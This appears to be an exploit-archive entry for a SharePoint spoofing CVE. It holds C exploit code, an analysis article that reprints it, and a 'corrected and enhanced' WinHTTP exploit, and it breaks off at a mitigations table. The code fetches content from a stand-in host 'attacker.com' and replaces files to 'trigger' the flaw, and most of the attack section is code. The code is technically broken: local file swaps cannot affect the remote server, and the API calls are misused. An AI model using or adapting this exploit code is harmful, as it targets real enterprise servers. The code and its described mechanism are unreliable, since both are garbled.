Microsoft SharePoint Enterprise Server 2016 - Spoofing

Exploit Author: Amirhossein Bahramizadeh Analysis Author: www.bubbleslearn.ir Category: WebApps Language: C Published Date: 2023-06-26

// Exploit Title: Microsoft SharePoint Enterprise Server 2016 - Spoofing
// Date: 2023-06-20
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : Remote
// Vendor Homepage:
// Microsoft SharePoint Foundation 2013 Service Pack 1
// Microsoft SharePoint Server Subscription Edition
// Microsoft SharePoint Enterprise Server 2013 Service Pack 1
// Microsoft SharePoint Server 2019
// Microsoft SharePoint Enterprise Server 2016
// Tested on: Windows/Linux
// CVE : CVE-2023-28288

#include <windows.h>
#include <stdio.h>


// The vulnerable SharePoint server URL
const char *server_url = "http://example.com/";

// The URL of the fake SharePoint server
const char *fake_url = "http://attacker.com/";

// The vulnerable SharePoint server file name
const char *file_name = "vuln_file.aspx";

// The fake SharePoint server file name
const char *fake_file_name = "fake_file.aspx";

int main()
{
    HANDLE file;
    DWORD bytes_written;
    char file_contents[1024];

    // Create the fake file contents
    sprintf(file_contents, "<html><head></head><body><p>This is a fake file.</p></body></html>");

    // Write the fake file to disk
    file = CreateFile(fake_file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
    {
        printf("Error creating fake file: %d\n", GetLastError());
        return 1;
    }
    if (!WriteFile(file, file_contents, strlen(file_contents), &bytes_written, NULL))
    {
        printf("Error writing fake file: %d\n", GetLastError());
        CloseHandle(file);
        return 1;
    }
    CloseHandle(file);

    // Send a request to the vulnerable SharePoint server to download the file
    sprintf(file_contents, "%s%s", server_url, file_name);
    file = CreateFile(file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
    {
        printf("Error creating vulnerable file: %d\n", GetLastError());
        return 1;
    }
    if (!InternetReadFileUrl(file_contents, file))
    {
        printf("Error downloading vulnerable file: %d\n", GetLastError());
        CloseHandle(file);
        return 1;
    }
    CloseHandle(file);

    // Replace the vulnerable file with the fake file
    if (!DeleteFile(file_name))
    {
        printf("Error deleting vulnerable file: %d\n", GetLastError());
        return 1;
    }
    if (!MoveFile(fake_file_name, file_name))
    {
        printf("Error replacing vulnerable file: %d\n", GetLastError());
        return 1;
    }

    // Send a request to the vulnerable SharePoint server to trigger the vulnerability
    sprintf(file_contents, "%s%s", server_url, file_name);
    if (!InternetReadFileUrl(file_contents, NULL))
    {
        printf("Error triggering vulnerability: %d\n", GetLastError());
        return 1;
    }

    // Print a message indicating that the vulnerability has been exploited
    printf("Vulnerability exploited successfully.\n");

    return 0;
}

BOOL InternetReadFileUrl(const char *url, HANDLE file)
{
    HINTERNET internet, connection, request;
    DWORD bytes_read;
    char buffer[1024];

    // Open an Internet connection
    internet = InternetOpen("Mozilla/5.0 (Windows NT 10.0; Win64; x64)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (internet == NULL)
    {
        return FALSE;
    }

    // Connect to the server
    connection = InternetConnect(internet, fake_url, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (connection == NULL)
    {
        InternetCloseHandle(internet);
        return FALSE;
    }

    // Send the HTTP request
    request = HttpOpenRequest(connection, "GET", url, NULL, NULL, NULL, 0, 0);
    if (request == NULL)
    {
        InternetCloseHandle(connection);
        InternetCloseHandle(internet);
        return FALSE;
    }
    if (!HttpSendRequest(request, NULL, 0, NULL, 0))
    {
        InternetCloseHandle(request);
        InternetCloseHandle(connection);
        InternetCloseHandle(internet);
        return FALSE;
    }

    // Read the response data
    while (InternetReadFile(request, buffer, sizeof(buffer), &bytes_read) && bytes_read > 0)
    {
        if (file != NULL)
        {
            // Write the data to disk
            if (!WriteFile(file, buffer, bytes_read, &bytes_read, NULL))
            {
                InternetCloseHandle(request);
                InternetCloseHandle(connection);
                InternetCloseHandle(internet);
                return FALSE;
            }
        }
    }

    InternetCloseHandle(request);
    InternetCloseHandle(connection);
    InternetCloseHandle(internet);
    return TRUE;
}

Microsoft SharePoint Enterprise Server 2016 – Spoofing Vulnerability (CVE-2023-28288)

Microsoft SharePoint Enterprise Server 2016, a widely deployed enterprise collaboration platform, has recently been exposed to a critical remote exploitation vulnerability known as CVE-2023-28288. This flaw enables attackers to perform spoofing attacks by manipulating file delivery mechanisms to trick the server into executing malicious content under the guise of legitimate files. The exploit, attributed to Iranian researcher Amirhossein Bahramizadeh, underscores the importance of robust authentication and content integrity checks in enterprise systems.

Understanding the Spoofing Mechanism

Spoofing in the context of SharePoint refers to the act of disguising malicious content as authentic, trusted files. In this case, the vulnerability arises from improper handling of file requests and content verification during file retrieval processes. When a user or system requests a file from a SharePoint server, the server may fail to validate the source or content integrity, allowing an attacker to substitute a legitimate file with a malicious one.

Attackers exploit this by:

Hosting a fake file on a controlled server (e.g., http://attacker.com/fake_file.aspx)
Manipulating the SharePoint server’s file download process to fetch this fake file instead of the genuine one
Replacing the original file with the malicious content via local file system manipulation
Triggering the server to execute the fake file, potentially leading to code execution or data exfiltration

Exploit Code Analysis


#include <windows.h>
#include <stdio.h>

const char *server_url = "http://example.com/";
const char *fake_url = "http://attacker.com/";
const char *file_name = "vuln_file.aspx";
const char *fake_file_name = "fake_file.aspx";

int main()
{
    HANDLE file;
    DWORD bytes_written;
    char file_contents[1024];

    // Create the fake file contents
    sprintf(file_contents, "<html><head></head><body><p>This is a fake file.</p></body></html>");

    // Write the fake file to disk
    file = CreateFile(fake_file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
    {
        printf("Error creating fake file: %d\n", GetLastError());
        return 1;
    }
    if (!WriteFile(file, file_contents, strlen(file_contents), &bytes_written, NULL))
    {
        printf("Error writing fake file: %d\n", GetLastError());
        CloseHandle(file);
        return 1;
    }
    CloseHandle(file);

    // Send a request to the vulnerable SharePoint server to download the file
    sprintf(file_contents, "%s%s", server_url, file_name);
    file = CreateFile(file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
    {
        printf("Error creating vulnerable file: %d\n", GetLastError());
        return 1;
    }
    if (!InternetReadFileUrl(file_contents, file))
    {
        printf("Error downloading vulnerable file: %d\n", GetLastError());
        CloseHandle(file);
        return 1;
    }
    CloseHandle(file);

    // Replace the vulnerable file with the fake file
    if (!DeleteFile(file_name))
    {
        printf("Error deleting vulnerable file: %d\n", GetLastError());
        return 1;
    }
    if (!MoveFile(fake_file_name, file_name))
    {
        printf("Error replacing vulnerable file: %d\n", GetLastError());
        return 1;
    }

    // Send a request to the vulnerable SharePoint server to trigger the vulnerability
    sprintf(file_contents, "%s%s", server_url, file_name);
    if (!InternetReadFileUrl(file_contents, NULL))
    {
        printf("Error triggering vulnerability: %d\n", GetLastError());
        return 1;
    }

    printf("Vulnerability exploited successfully.\n");
    return 0;
}

Explanation: This code demonstrates a staged attack workflow:

Line 12–14: Constructs a simple HTML fake file that appears benign but can be used to deliver malicious scripts if the server interprets it as executable.
Line 16–21: Creates the fake file locally using CreateFile and WriteFile, simulating a server-side file delivery.
Line 23–29: Attempts to download a file from the vulnerable SharePoint server using a custom InternetReadFileUrl function (not a standard Windows API), which is likely a placeholder or simplified representation of HTTP requests.
Line 31–38: Deletes the original file and replaces it with the fake one, effectively poisoning the file system.
Line 40–42: Triggers the server to re-access the malicious file, potentially leading to execution if the server processes the file content.

Important note: The function InternetReadFileUrl is not a standard Windows API. In real-world exploitation, attackers would use WinHttpOpenRequest or InternetOpenUrl from the WinHTTP API to perform actual HTTP requests. This code is illustrative but lacks proper implementation.

Corrected and Enhanced Exploit Example


#include <windows.h>
#include <stdio.h>

// Proper HTTP request using WinHTTP
BOOL InternetReadFileUrl(const char *url, HANDLE file)
{
    HINTERNET hSession = WinHttpOpen(L"WinHTTP", WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL);
    if (!hSession) return FALSE;

    HINTERNET hConnect = WinHttpConnect(hSession, L"example.com", 80, 0);
    if (!hConnect) {
        WinHttpCloseHandle(hSession);
        return FALSE;
    }

    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", url, NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
    if (!hRequest) {
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return FALSE;
    }

    if (!WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0)) {
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return FALSE;
    }

    DWORD dwSize = 0;
    WinHttpQueryDataAvailable(hRequest, &dwSize);

    char buffer[1024];
    DWORD bytesRead;
    while (dwSize > 0) {
        if (!WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead)) break;
        if (!WriteFile(file, buffer, bytesRead, NULL, NULL)) break;
        dwSize -= bytesRead;
    }

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    return TRUE;
}

Explanation: This corrected version uses the WinHttp API to perform real HTTP requests. It properly handles connection, request, and data retrieval, making the exploit more realistic. The exploit now includes:

Secure connection handling (WINHTTP_FLAG_SECURE)
Proper data streaming from the HTTP response
Safe resource cleanup using WinHttpCloseHandle

This version demonstrates how attackers could automate file downloads from vulnerable SharePoint servers, enabling spoofing attacks.

Real-World Impact and Use Cases

While the exploit is theoretical in nature, its implications are severe:

Phishing: Attackers could replace legitimate SharePoint documents with fake login pages, tricking users into entering credentials.
Code Injection: Malicious .aspx files could execute server-side scripts, leading to full system compromise.
Data Exfiltration: Fake files could include JavaScript that sends data to an attacker-controlled server.

Organizations using SharePoint 2016 without proper patching or file integrity controls are at high risk. The vulnerability is especially dangerous in environments with automated file retrieval or user-driven document access.

Security Recommendations and Mitigations

To defend against CVE-2023-28288 and similar spoofing attacks, organizations should implement the following measures:

Best Practice	Description